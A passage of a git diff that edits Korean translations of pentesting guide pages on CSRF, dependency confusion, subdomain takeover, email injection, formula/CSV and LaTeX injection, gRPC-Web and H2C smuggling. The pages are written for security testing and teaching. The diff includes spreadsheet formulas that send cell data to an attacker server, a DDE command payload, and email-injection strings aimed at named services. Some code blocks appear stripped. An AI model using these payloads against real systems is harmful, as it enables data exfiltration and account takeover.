있다면: - **사용자 정의 토큰과 헤더 없이 요청을 테스트**합니다. - **정확히 같은 길이지만 다른 토큰으로 요청을 테스트**합니다. -### CSRF token is verified by a cookie +### CSRF 토큰이 쿠키로 검증됨 -애플리케이션은 CSRF 보호를 위해 토큰을 쿠키와 요청 매개변수 모두에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 확인할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다. +애플리케이션은 CSRF 보호를 위해 토큰을 쿠키와 요청 매개변수 모두에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 검증할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다. 그러나 이 방법은 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 경우 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 기만적인 이미지를 로드한 다음 CSRF 공격을 시작하여 이를 악용할 수 있습니다. @@ -103,11 +103,11 @@ onerror="document.forms[0].submit();" /> ``` > [!NOTE] -> **csrf 토큰이 세션 쿠키와 관련이 있다면 이 공격은 작동하지 않습니다**. 왜냐하면 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다. +> **csrf 토큰이 세션 쿠키와 관련되어 있다면 이 공격은 작동하지 않습니다**. 왜냐하면 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다. ### Content-Type 변경 -[**이**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)에 따르면, **POST** 메서드를 사용하여 **preflight** 요청을 피하기 위해 허용되는 Content-Type 값은 다음과 같습니다: +[**이**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)에 따르면, **POST** 메서드를 사용하여 **사전 비행** 요청을 피하기 위해 허용되는 Content-Type 값은 다음과 같습니다: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** @@ -150,7 +150,7 @@ POST 요청을 통해 JSON 데이터를 전송하려고 할 때, HTML 양식에 ```xml ``` -이것은 'Referer' 헤더가 생략되도록 하여 일부 애플리케이션에서 유효성 검사 확인을 우회할 수 있습니다. +이것은 'Referer' 헤더가 생략되도록 하여 일부 애플리케이션에서 유효성 검사 체크를 우회할 수 있습니다. **정규 표현식 우회** @@ -189,15 +189,15 @@ document.forms[0].submit() ``` ### **HEAD 메서드 우회** -[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 번째 부분에서는 [Oak의 소스 코드](https://github.com/oakserver/oak/blob/main/router.ts#L281)가 **HEAD 요청을 GET 요청으로 처리**하도록 설정되어 있으며, 응답 본문이 없는 일반적인 우회 방법이라고 설명합니다. HEAD 요청을 처리하는 특정 핸들러 대신, 단순히 **GET 핸들러에 전달되지만 앱은 응답 본문을 제거합니다**. +[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 번째 부분에서는 [Oak의 소스 코드](https://github.com/oakserver/oak/blob/main/router.ts#L281)가 **HEAD 요청을 GET 요청으로 처리**하도록 설정되어 있으며, 응답 본문이 없는 일반적인 우회 방법이라고 설명합니다. HEAD 요청을 처리하는 특정 핸들러 대신, 요청은 단순히 **GET 핸들러에 전달되지만 앱은 응답 본문을 제거합니다**. 따라서 GET 요청이 제한되고 있다면, **GET 요청으로 처리될 HEAD 요청을 보낼 수 있습니다**. ## **익스플로잇 예시** -### **CSRF 토큰 유출** +### **CSRF 토큰 추출** -**CSRF 토큰**이 **방어**로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/) 취약점을 악용하여 **유출**을 시도할 수 있습니다. +**CSRF 토큰**이 **방어** 수단으로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/) 취약점을 악용하여 **추출을 시도할 수 있습니다**. ### **HTML 태그를 사용한 GET** ```xml @@ -205,7 +205,7 @@ document.forms[0].submit()

404 - Page not found

The URL you are requesting is no longer available ``` -자동으로 GET 요청을 보내는 데 사용할 수 있는 다른 HTML5 태그는 다음과 같습니다: +자동으로 GET 요청을 보내는 데 사용할 수 있는 다른 HTML5 태그는: ```html @@ -397,7 +397,7 @@ document.getElementById("formulario").submit() ``` -### **CSRF 토큰 훔치기 및 POST 요청 보내기** +### **CSRF 토큰 훔치기 및 POST 요청 전송** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() diff --git a/src/pentesting-web/dependency-confusion.md b/src/pentesting-web/dependency-confusion.md index 2c72b7633..efe1962e7 100644 --- a/src/pentesting-web/dependency-confusion.md +++ b/src/pentesting-web/dependency-confusion.md @@ -5,11 +5,11 @@ ## Basic Information -요약하자면, 의존성 혼란 취약점은 프로젝트가 **잘못된** 이름, **존재하지 않거나** **명시되지 않은 버전**의 라이브러리를 사용할 때 발생하며, 사용된 의존성 저장소가 **공개** 저장소에서 **업데이트된 버전을 수집**할 수 있도록 허용합니다. +요약하자면, dependency confusion 취약점은 프로젝트가 **잘못된** 이름, **존재하지 않는** 이름 또는 **명시되지 않은 버전**의 라이브러리를 사용할 때 발생하며, 사용된 의존성 저장소가 **공개** 저장소에서 **업데이트된 버전을 수집**할 수 있도록 허용합니다. - **잘못된**: **`reqests`**를 가져오는 대신 `requests`를 가져오기 -- **존재하지 않음**: **더 이상 존재하지 않는** 내부 라이브러리인 `company-logging` 가져오기 -- **명시되지 않은 버전**: **내부** **존재하는** `company-requests` 라이브러리를 가져오지만, 저장소가 **더 큰 버전**이 있는지 확인하기 위해 **공개 저장소**를 확인합니다. +- **존재하지 않는**: 더 이상 **존재하지 않는** 내부 라이브러리인 `company-logging` 가져오기 +- **명시되지 않은 버전**: **내부**에 **존재하는** `company-requests` 라이브러리를 가져오지만, 저장소가 **더 높은 버전**이 있는지 **공개 저장소**를 확인합니다. ## Exploitation @@ -24,8 +24,8 @@ 개발자들이 사용된 라이브러리의 **버전을 명시하지 않거나** 단지 **주 버전**만 명시하는 경우가 매우 흔합니다. 그러면 인터프리터는 해당 요구 사항에 맞는 **최신 버전**을 다운로드하려고 시도합니다.\ 라이브러리가 **잘 알려진 외부 라이브러리**(예: python `requests`)인 경우, **공격자는 많은 것을 할 수 없습니다**, 왜냐하면 그는 `requests`라는 이름의 라이브러리를 만들 수 없기 때문입니다(그가 원래 저자가 아닌 한).\ -그러나 라이브러리가 **내부**인 경우, 이 예에서 `requests-company`와 같이, **라이브러리 저장소**가 **외부에서도 새로운 버전을 확인**할 수 있도록 허용한다면, 공개적으로 사용 가능한 최신 버전을 검색할 것입니다.\ -따라서 **공격자가** 회사가 `requests-company` 라이브러리 **버전 1.0.1**(소규모 업데이트 허용)을 사용하고 있다는 것을 알게 되면, 그는 `requests-company` **버전 1.0.2** 라이브러리를 **게시**할 수 있으며, 회사는 내부 라이브러리 대신 **해당 라이브러리**를 **사용하게 됩니다**. +그러나 라이브러리가 **내부**에 있는 경우, 이 예제의 `requests-company`처럼, **라이브러리 저장소**가 **외부에서도 새로운 버전을 확인**할 수 있도록 허용한다면, 공개적으로 사용 가능한 더 최신 버전을 검색할 것입니다.\ +따라서 **공격자가** 회사가 `requests-company` 라이브러리 **버전 1.0.1**(소규모 업데이트 허용)을 사용하고 있다는 것을 알게 되면, 그는 `requests-company` **버전 1.0.2**를 **게시**할 수 있으며, 회사는 내부 라이브러리 대신 **해당 라이브러리**를 **사용하게 됩니다**. ## AWS Fix @@ -34,7 +34,7 @@ AWS는 라이브러리가 내부인지 외부인지 명시할 수 있도록 하 ## Finding Vulnerable Libraries -[**의존성 혼란에 대한 원래 게시물**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)에서 저자는 자바스크립트 프로젝트의 의존성을 포함하는 수천 개의 노출된 package.json 파일을 검색했습니다. +[**dependency confusion에 대한 원본 게시물**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)에서 저자는 자바스크립트 프로젝트의 의존성을 포함하는 수천 개의 노출된 package.json 파일을 검색했습니다. ## References diff --git a/src/pentesting-web/domain-subdomain-takeover.md b/src/pentesting-web/domain-subdomain-takeover.md index d46083715..1c5798a8e 100644 --- a/src/pentesting-web/domain-subdomain-takeover.md +++ b/src/pentesting-web/domain-subdomain-takeover.md @@ -5,13 +5,13 @@ ## 도메인 탈취 -어떤 서비스에서 **사용되고 있는 도메인(domain.tld)**을 발견했지만 **회사**가 **소유권**을 **상실**한 경우, 이를 **등록**(가격이 저렴할 경우)하고 회사에 알릴 수 있습니다. 이 도메인이 **GET** 매개변수나 **Referer** 헤더를 통해 세션 쿠키와 같은 **민감한 정보**를 받고 있다면, 이는 확실히 **취약점**입니다. +어떤 서비스에서 **사용되고 있는 도메인(domain.tld)**을 발견했지만 **회사**가 **소유권**을 **잃은** 경우, 이를 **등록**하려고 시도할 수 있습니다(가격이 저렴할 경우). 그리고 회사에 알려줄 수 있습니다. 이 도메인이 **GET** 매개변수나 **Referer** 헤더를 통해 세션 쿠키와 같은 **민감한 정보**를 받고 있다면, 이는 확실히 **취약점**입니다. ### 서브도메인 탈취 -회사의 서브도메인이 **등록되지 않은 이름의 제3자 서비스**를 가리키고 있습니다. 이 **제3자 서비스**에서 **계정**을 **생성**하고 사용 중인 **이름**을 **등록**할 수 있다면, 서브도메인 탈취를 수행할 수 있습니다. +회사의 서브도메인이 **등록되지 않은 이름의 제3자 서비스**를 가리키고 있습니다. 이 **제3자 서비스**에서 **계정을 생성**하고 사용 중인 **이름**을 **등록**할 수 있다면, 서브도메인 탈취를 수행할 수 있습니다. -가능한 탈취를 확인하기 위한 여러 도구와 사전이 있습니다: +가능한 탈취를 확인하기 위한 여러 도구가 있습니다: - [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) - [https://github.com/blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot) @@ -33,7 +33,7 @@ 예를 들어, `*.testing.com`이 `1.1.1.1`로 와일드카드 처리되었다면, `not-existent.testing.com`은 `1.1.1.1`을 가리키게 됩니다. -그러나 IP 주소를 가리키는 대신, 시스템 관리자가 **CNAME**을 통해 **제3자 서비스**로 가리키면, 예를 들어 G**ithub 서브도메인**(`sohomdatta1.github.io`)과 같은 경우, 공격자는 **자신의 제3자 페이지**(이 경우 Gihub에서)를 생성하고 `something.testing.com`이 그곳을 가리킨다고 주장할 수 있습니다. 왜냐하면, **CNAME 와일드카드**가 공격자가 **피해자의 도메인에 대해 임의의 서브도메인을 생성하여 자신의 페이지로 가리키게 할 수 있도록 허용하기 때문입니다**. +그러나 IP 주소를 가리키는 대신, 시스템 관리자가 **CNAME**을 통해 **제3자 서비스**를 가리키게 하면, 예를 들어 G**ithub 서브도메인**(`sohomdatta1.github.io`)과 같은 경우, 공격자는 **자신의 제3자 페이지**(이 경우 Gihub에서)를 생성하고 `something.testing.com`이 그곳을 가리킨다고 주장할 수 있습니다. 왜냐하면 **CNAME 와일드카드**가 공격자가 **피해자의 도메인에 대해 임의의 서브도메인을 생성하여 자신의 페이지를 가리키게 할 수 있도록 허용하기 때문입니다**. 이 취약점의 예시는 CTF 작성물에서 확인할 수 있습니다: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api) @@ -61,7 +61,7 @@ SSL 인증서는 공격자가 [_Let's Encrypt_](https://letsencrypt.org/)와 같 ### CNAME 레코드 취약점 -공격자는 더 이상 사용되지 않거나 폐기된 외부 서비스로 가리키는 미청구 CNAME 레코드를 악용할 수 있습니다. 이를 통해 신뢰할 수 있는 도메인 아래에 페이지를 생성하여 피싱 또는 악성코드 배포를 더욱 용이하게 할 수 있습니다. +공격자는 더 이상 사용되지 않거나 폐기된 외부 서비스로 가리키는 청구되지 않은 CNAME 레코드를 악용할 수 있습니다. 이를 통해 신뢰할 수 있는 도메인 아래에 페이지를 생성하여 피싱 또는 악성 소프트웨어 배포를 더욱 용이하게 할 수 있습니다. ### **완화 전략** @@ -71,9 +71,9 @@ SSL 인증서는 공격자가 [_Let's Encrypt_](https://letsencrypt.org/)와 같 2. **도메인 이름 주장** - 해당 클라우드 제공업체에 리소스를 등록하거나 만료된 도메인을 재구매합니다. 3. **취약점에 대한 정기적인 모니터링** - [aquatone](https://github.com/michenriksen/aquatone)와 같은 도구가 취약한 도메인을 식별하는 데 도움이 될 수 있습니다. 조직은 또한 DNS 레코드 생성이 리소스 생성의 마지막 단계이자 리소스 파괴의 첫 번째 단계가 되도록 인프라 관리 프로세스를 검토해야 합니다. -클라우드 제공업체의 경우, 도메인 소유권 확인은 서브도메인 탈취를 방지하는 데 중요합니다. [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/)과 같은 일부는 이 문제를 인식하고 도메인 확인 메커니즘을 구현했습니다. +클라우드 제공업체의 경우, 서브도메인 탈취를 방지하기 위해 도메인 소유권 확인이 중요합니다. [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/)과 같은 일부는 이 문제를 인식하고 도메인 확인 메커니즘을 구현했습니다. -## 참고문헌 +## 참고 문헌 - [https://0xpatrik.com/subdomain-takeover/](https://0xpatrik.com/subdomain-takeover/) - [https://www.stratussecurity.com/post/subdomain-takeover-guide](https://www.stratussecurity.com/post/subdomain-takeover-guide) diff --git a/src/pentesting-web/email-injections.md b/src/pentesting-web/email-injections.md index 7e665ebe2..5539774b7 100644 --- a/src/pentesting-web/email-injections.md +++ b/src/pentesting-web/email-injections.md @@ -48,13 +48,13 @@ Parameter #4 [ $additional_parameters ] 이 섹션은 **공격자가 이 매개변수를 제어한다고 가정할 때 이를 악용하는 방법**에 기반합니다. -이 매개변수는 PHP가 바이너리 sendmail을 호출하는 데 사용할 명령줄에 추가됩니다. 그러나 `escapeshellcmd($additional_parameters)` 함수로 세척됩니다. +이 매개변수는 PHP가 바이너리 sendmail을 호출하는 명령줄에 추가될 것입니다. 그러나 `escapeshellcmd($additional_parameters)` 함수로 세척될 것입니다. 이 경우 공격자는 **sendmail에 대한 추가 매개변수를 주입할 수 있습니다**. #### /usr/sbin/sendmail 구현의 차이점 -**sendmail** 인터페이스는 시스템에 설치된 **MTA 이메일 소프트웨어**(Sendmail, Postfix, Exim 등)에서 **제공됩니다**. **기본 기능**(예: -t -i -f 매개변수)은 호환성 이유로 **같은** 상태를 유지하지만, **다른 기능 및 매개변수**는 설치된 MTA에 따라 크게 다릅니다. +**sendmail** 인터페이스는 시스템에 설치된 **MTA 이메일 소프트웨어**(Sendmail, Postfix, Exim 등)에서 **제공됩니다**. **기본 기능**(예: -t -i -f 매개변수)은 호환성 이유로 **같은** 상태를 유지하지만, **다른 기능과 매개변수**는 설치된 MTA에 따라 크게 다릅니다. 다음은 sendmail 명령/인터페이스의 다양한 매뉴얼 페이지의 몇 가지 예입니다: @@ -64,7 +64,7 @@ Parameter #4 [ $additional_parameters ] **sendmail** 바이너리의 **출처**에 따라 이를 악용하고 **파일을 유출하거나 임의의 명령을 실행하는** 다양한 옵션이 발견되었습니다. [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)에서 확인하세요. -## 이메일 이름에 주입 +## 이메일 이름에 주입하기 > [!CAUTION] > 임의의 도메인 이름(예: Github, Gitlab, CloudFlare Zero trust...)으로 서비스에 계정을 생성하고, 확인 이메일을 수신하여 이를 확인하면 피해 회사의 민감한 위치에 접근할 수 있을 수 있습니다. @@ -75,7 +75,7 @@ Parameter #4 [ $additional_parameters ] - 예: john.doe+intigriti@example.com → john.doe@example.com -**괄호 ()**로 둘러싸인 주석은 시작 또는 끝에 있을 경우 무시됩니다. +**괄호 () 사이의 주석**은 시작 또는 끝에 있을 경우에도 무시됩니다. - 예: john.doe(intigriti)@example.com → john.doe@example.com @@ -103,7 +103,7 @@ Parameter #4 [ $additional_parameters ] > [!TIP] > 이 트릭의 목표는 `RCPT TO:<"collab@psres.net>collab"@example.com>`와 같은 주입으로 끝나는 것입니다.\ -> 이는 확인 이메일을 예상된 이메일 주소와 다른 이메일 주소로 보내게 하여 이메일 이름 안에 다른 이메일 주소를 삽입하고 이메일을 보낼 때 구문을 깨뜨리게 합니다. +> 이는 확인 이메일을 예상된 이메일 주소와 다른 이메일 주소로 보내게 하여 이메일 이름 안에 다른 이메일 주소를 삽입하고 이메일을 보낼 때 구문을 깨뜨리게 됩니다. 다양한 인코딩: ```bash @@ -137,7 +137,7 @@ x@xn--svg/-9x6 → x@`는 `=3e`, 그리고 null은 `=00`입니다. +- 인코딩된 `@`는 =40, 인코딩된 `>`는 `=3e`, `null`은 `=00`입니다. - 확인 이메일이 `collab@psres.net`으로 전송됩니다. - Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com` - 이전과 같은 트릭이지만, 시작 부분에 일반 따옴표를 추가하고 인코딩된 따옴표 `=22`를 인코딩된 `@` 앞에 추가한 후, 다음 이메일 앞에 따옴표를 시작하고 닫아 Zendesk에서 내부적으로 사용되는 구문을 수정합니다. @@ -145,7 +145,7 @@ Payloads: - Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com` - 주소를 구분하기 위해 언더스코어를 공백으로 사용합니다. - 확인 이메일이 `collab@psres.net`으로 전송됩니다. -- Punycode: Punycode를 사용하여 Joomla에 ` [!CAUTION] -> 요즘 **Excel은 외부에서 로드된** 내용에 대해 **사용자에게 경고**(여러 번)합니다. 이는 악의적인 행동을 방지하기 위함입니다. 따라서 최종 페이로드에 대해 사회 공학에 특별한 노력이 필요합니다. +> 요즘 **Excel은 외부에서 로드된 경우** **사용자에게 경고**(여러 번)하여 악의적인 행동을 방지합니다. 따라서 최종 페이로드에 대해 소셜 엔지니어링에 특별한 노력이 필요합니다. ### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) ``` @@ -36,16 +36,16 @@ DDE ("cmd";"/C calc";"!A0")A0 - CSV 파일을 열면 여전히 악성 페이로드가 포함되어 있습니다. 이 페이로드는 스프레드시트에서 클릭 가능한 하이퍼링크로 나타납니다. 3. **공격 유발:** - 교사는 하이퍼링크를 클릭하여 학생 세부 정보의 합법적인 부분이라고 믿습니다. -- 클릭하면 민감한 데이터(스프레드시트의 세부 정보 또는 교사의 컴퓨터에서 포함될 수 있음)가 공격자의 서버로 전송됩니다. +- 클릭하면 민감한 데이터(스프레드시트 또는 교사의 컴퓨터에서의 세부 정보 포함)가 공격자의 서버로 전송됩니다. 4. **데이터 기록:** - 공격자의 서버는 교사의 컴퓨터에서 전송된 민감한 데이터를 수신하고 기록합니다. -- 공격자는 이 데이터를 다양한 악의적인 목적으로 사용할 수 있으며, 학생들과 기관의 프라이버시와 보안을 더욱 손상시킬 수 있습니다. +- 공격자는 이 데이터를 다양한 악의적인 목적으로 사용할 수 있으며, 학생과 기관의 프라이버시와 보안을 더욱 손상시킬 수 있습니다. ### RCE **자세한 내용은** [**원본 게시물**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **을 확인하십시오.** -특정 구성이나 이전 버전의 Excel에서는 임의의 명령을 실행하기 위해 동적 데이터 교환(DDE)이라는 기능을 악용할 수 있습니다. 이를 활용하려면 다음 설정을 활성화해야 합니다: +특정 구성이나 이전 버전의 Excel에서는 동적 데이터 교환(DDE)이라는 기능을 악용하여 임의의 명령을 실행할 수 있습니다. 이를 활용하려면 다음 설정을 활성화해야 합니다: - 파일 → 옵션 → 신뢰 센터 → 신뢰 센터 설정 → 외부 콘텐츠로 이동하여 **동적 데이터 교환 서버 시작**을 활성화합니다. @@ -70,20 +70,20 @@ LibreOffice Calc는 로컬 파일을 읽고 데이터를 유출하는 데 사용 Google Sheets는 OOB 데이터 유출을 위해 악용될 수 있는 기능을 제공합니다: -- **CONCATENATE**: 문자열을 함께 추가합니다 - `=CONCATENATE(A2:E2)` -- **IMPORTXML**: 구조화된 데이터 유형에서 데이터를 가져옵니다 - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` -- **IMPORTFEED**: RSS 또는 ATOM 피드를 가져옵니다 - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))` -- **IMPORTHTML**: HTML 테이블 또는 목록에서 데이터를 가져옵니다 - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` -- **IMPORTRANGE**: 다른 스프레드시트에서 셀 범위를 가져옵니다 - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` -- **IMAGE**: 셀에 이미지를 삽입합니다 - `=IMAGE("https:///images/srpr/logo3w.png")` +- **CONCATENATE**: 문자열을 함께 추가 - `=CONCATENATE(A2:E2)` +- **IMPORTXML**: 구조화된 데이터 유형에서 데이터 가져오기 - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` +- **IMPORTFEED**: RSS 또는 ATOM 피드 가져오기 - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))` +- **IMPORTHTML**: HTML 테이블 또는 목록에서 데이터 가져오기 - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` +- **IMPORTRANGE**: 다른 스프레드시트에서 셀 범위 가져오기 - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` +- **IMAGE**: 셀에 이미지 삽입 - `=IMAGE("https:///images/srpr/logo3w.png")` ## LaTeX Injection 일반적으로 인터넷에서 **LaTeX 코드를 PDF로 변환하는** 서버는 **`pdflatex`**를 사용합니다.\ -이 프로그램은 명령 실행을 (허용)하지 않기 위해 3가지 주요 속성을 사용합니다: +이 프로그램은 명령 실행을 (허용/비허용)하기 위해 3가지 주요 속성을 사용합니다: - **`--no-shell-escape`**: `texmf.cnf` 파일에서 활성화되어 있더라도 `\write18{command}` 구문을 **비활성화**합니다. -- **`--shell-restricted`**: `--shell-escape`와 동일하지만, **미리 정의된** '안전한' 명령 집합으로 **제한**됩니다 (\*\*Ubuntu 16.04에서는 목록이 `/usr/share/texmf/web2c/texmf.cnf`에 있습니다). +- **`--shell-restricted`**: `--shell-escape`와 동일하지만 **미리 정의된** '안전한' 명령 집합으로 **제한**됩니다 (\*\*Ubuntu 16.04에서는 목록이 `/usr/share/texmf/web2c/texmf.cnf`에 있습니다). - **`--shell-escape`**: `\write18{command}` 구문을 **활성화**합니다. 명령은 어떤 셸 명령도 될 수 있습니다. 이 구문은 보안상의 이유로 일반적으로 허용되지 않습니다. 그러나 명령을 실행하는 다른 방법이 있으므로 RCE를 피하기 위해 `--shell-restricted`를 사용하는 것이 매우 중요합니다. diff --git a/src/pentesting-web/grpc-web-pentest.md b/src/pentesting-web/grpc-web-pentest.md index 49d3ee90c..8689de8b8 100644 --- a/src/pentesting-web/grpc-web-pentest.md +++ b/src/pentesting-web/grpc-web-pentest.md @@ -12,14 +12,14 @@ gRPC-Web는 요청에서 Content-Type: `application/grpc-web-text`를 사용하 ```bash echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt ``` -2. 디코딩된 페이로드의 내용을 수정합니다. +2. 디코딩된 페이로드의 내용을 편집합니다. ``` nano out.txt 2: {"Amin Nasiri Xenon GRPC"} 3: 54 7: {""} ``` -3. 새로운 페이로드 인코딩 +3. 새로운 페이로드 인코딩하기 ```bash protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text ``` @@ -27,15 +27,15 @@ protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text ``` AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+ ``` -### **gRPC-Web Coder Burp Suite 확장 프로그램을 이용한 수동 테스트** +### **Manual with gRPC-Web Coder Burp Suite Extension** -[gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)에서 gRPC-Web Coder Burp Suite 확장 프로그램을 사용할 수 있으며, 이는 더 쉽습니다. 설치 및 사용 지침은 해당 리포지토리에서 확인할 수 있습니다. +gRPC-Web Coder Burp Suite Extension을 [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)에서 사용할 수 있으며, 이는 더 쉽습니다. 설치 및 사용 지침은 해당 리포지토리에서 확인할 수 있습니다. -## **gRPC-Web 자바스크립트 파일 분석하기** +## **gRPC-Web Javascript 파일 분석하기** -모든 gRPC-Web 애플리케이션에는 최소한 하나의 자바스크립트 파일이 있습니다. 파일을 분석하여 새로운 메시지, 엔드포인트 및 서비스를 찾을 수 있습니다. [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) 도구를 사용해 보세요. +모든 gRPC-Web 애플리케이션에는 최소한 하나의 Javascript 파일이 있습니다. 이 파일을 분석하여 새로운 메시지, 엔드포인트 및 서비스를 찾을 수 있습니다. [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) 도구를 사용해 보세요. -1. 자바스크립트 gRPC-Web 파일 다운로드 +1. Javascript gRPC-Web 파일 다운로드 2. grpc-scan.py로 스캔하기: ```bash python3 grpc-scan.py --file main.js diff --git a/src/pentesting-web/h2c-smuggling.md b/src/pentesting-web/h2c-smuggling.md index a3ac9a5c2..32ade54bd 100644 --- a/src/pentesting-web/h2c-smuggling.md +++ b/src/pentesting-web/h2c-smuggling.md @@ -6,15 +6,15 @@ #### HTTP2 Over Cleartext (H2C) -H2C, 또는 **http2 over cleartext**, 표준 HTTP **연결을 지속적인 연결로 업그레이드**하여 일시적인 HTTP 연결의 규범에서 벗어납니다. 이 업그레이드된 연결은 평문 HTTP의 단일 요청 특성 대신 지속적인 통신을 위해 http2 이진 프로토콜을 사용합니다. +H2C, 또는 **http2 over cleartext**는 표준 HTTP **연결을 지속적인 연결로 업그레이드**하여 일시적인 HTTP 연결의 규범에서 벗어납니다. 이 업그레이드된 연결은 평문 HTTP의 단일 요청 특성과는 달리 지속적인 통신을 위해 http2 이진 프로토콜을 사용합니다. -스머글링 문제의 핵심은 **리버스 프록시**의 사용에 있습니다. 일반적으로 리버스 프록시는 HTTP 요청을 처리하고 백엔드로 전달한 후 백엔드의 응답을 반환합니다. 그러나 HTTP 요청에 `Connection: Upgrade` 헤더가 포함되어 있을 때(웹소켓 연결에서 일반적으로 볼 수 있음), 리버스 **프록시는 클라이언트와 서버 간의 지속적인 연결을 유지**하여 특정 프로토콜에서 요구하는 지속적인 교환을 용이하게 합니다. H2C 연결의 경우, RFC 준수를 위해 세 가지 특정 헤더가 필요합니다: +밀수 문제의 핵심은 **리버스 프록시**의 사용에서 발생합니다. 일반적으로 리버스 프록시는 HTTP 요청을 처리하고 백엔드로 전달한 후 백엔드의 응답을 반환합니다. 그러나 HTTP 요청에 `Connection: Upgrade` 헤더가 있을 경우(웹소켓 연결에서 일반적으로 볼 수 있음), 리버스 **프록시는 클라이언트와 서버 간의 지속적인 연결을 유지**하여 특정 프로토콜에서 요구하는 지속적인 교환을 용이하게 합니다. H2C 연결의 경우, RFC 준수를 위해 세 가지 특정 헤더가 필요합니다: ``` Upgrade: h2c HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA Connection: Upgrade, HTTP2-Settings ``` -취약점은 연결을 업그레이드한 후 리버스 프록시가 개별 요청을 관리하지 않게 되어 연결 설정 후 라우팅 작업이 완료되었다고 가정할 때 발생합니다. H2C Smuggling을 이용하면 요청 처리 중 적용된 리버스 프록시 규칙(예: 경로 기반 라우팅, 인증 및 WAF 처리)을 우회할 수 있으며, H2C 연결이 성공적으로 시작되었다고 가정합니다. +취약점은 연결을 업그레이드한 후 리버스 프록시가 개별 요청을 관리하는 것을 중단하고, 연결 설정 후 라우팅 작업이 완료되었다고 가정할 때 발생합니다. H2C Smuggling을 이용하면 요청 처리 중 적용된 리버스 프록시 규칙(예: 경로 기반 라우팅, 인증 및 WAF 처리)을 우회할 수 있으며, H2C 연결이 성공적으로 시작되었다고 가정합니다. #### 취약한 프록시 @@ -37,7 +37,7 @@ Connection: Upgrade, HTTP2-Settings #### 악용 -모든 서버가 H2C 연결 업그레이드에 필요한 헤더를 본질적으로 전달하지 않는다는 점에 유의해야 합니다. 따라서 AWS ALB/CLB, NGINX 및 Apache Traffic Server와 같은 서버는 자연스럽게 H2C 연결을 차단합니다. 그럼에도 불구하고, `Connection: Upgrade` 변형을 사용하여 테스트해 볼 가치가 있으며, 이는 `Connection` 헤더에서 `HTTP2-Settings` 값을 제외합니다. 일부 백엔드는 표준을 준수하지 않을 수 있습니다. +모든 서버가 H2C 연결 업그레이드에 필요한 헤더를 본질적으로 전달하지 않는다는 점에 유의해야 합니다. 따라서 AWS ALB/CLB, NGINX 및 Apache Traffic Server와 같은 서버는 자연스럽게 H2C 연결을 차단합니다. 그럼에도 불구하고, 일부 백엔드가 표준을 준수하지 않을 수 있으므로 `Connection: Upgrade` 변형을 테스트해 볼 가치가 있습니다. 이 변형은 `Connection` 헤더에서 `HTTP2-Settings` 값을 제외합니다. > [!CAUTION] > `proxy_pass` URL에 지정된 특정 **경로**(예: `http://backend:9999/socket.io`)와 관계없이, 설정된 연결은 기본적으로 `http://backend:9999`로 설정됩니다. 이는 이 기술을 활용하여 해당 내부 엔드포인트 내의 모든 경로와 상호작용할 